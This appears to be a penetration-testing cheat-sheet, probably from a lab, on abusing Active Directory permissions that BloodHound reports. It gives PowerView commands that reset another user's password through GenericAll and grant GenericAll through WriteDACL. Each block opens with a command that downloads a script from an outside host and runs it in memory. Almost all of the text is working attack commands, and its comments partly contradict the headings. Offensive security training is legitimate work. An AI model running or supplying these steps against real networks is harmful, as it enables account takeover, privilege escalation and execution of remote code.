In Bloodhound output, here is a list of attack that you could do.
GenericAll to Domain Controller Machine Account - Resouces Based Constrained Delegation Attack.
GenericAll to a user account - Resetting Password
# Import PowerView
PS> iex (new-Object Net.WebClient).DownloadString('http://10.8.0.251/privesc/PowerView.ps1')|Import-Module PowerView.ps1
# Assume that Amelia.Griffiths account is a member of 'Legacy' group, whicn has a WriteDACL privilege ot GPOADM account.
# You are logged on as Amelia.Griffiths.
# This gives the GenericlAll privilege to Amelia.Griffiths targetting to GPOADM.
PS> $UserPassword = ConvertTo-SecureString 'Password0-' -AsPlainText -Force
PS> Set-DomainUserPassword -Identity GPOADM -AccountPassword $UserPassword
WriteDACL to a user account - Adding GenericAll to the account, targeting to another account.
# Import PowerView
PS> iex (new-Object Net.WebClient).DownloadString('http://10.8.0.251/privesc/PowerView.ps1')|Import-Module PowerView.ps1
# Assume that Amelia.Griffiths account is a member of 'Legacy' group, whicn has a WriteDACL privilege ot GPOADM account.
# You are logged on as Amelia.Griffiths.
# This gives the GenericlAll privilege to Amelia.Griffiths targetting to GPOADM.
PS> Add-DomainObjectAcl -Rights 'All' -TargetIdentity "GPOADM" -PrincipalIdentity "Amelia.Griffiths" -Verbose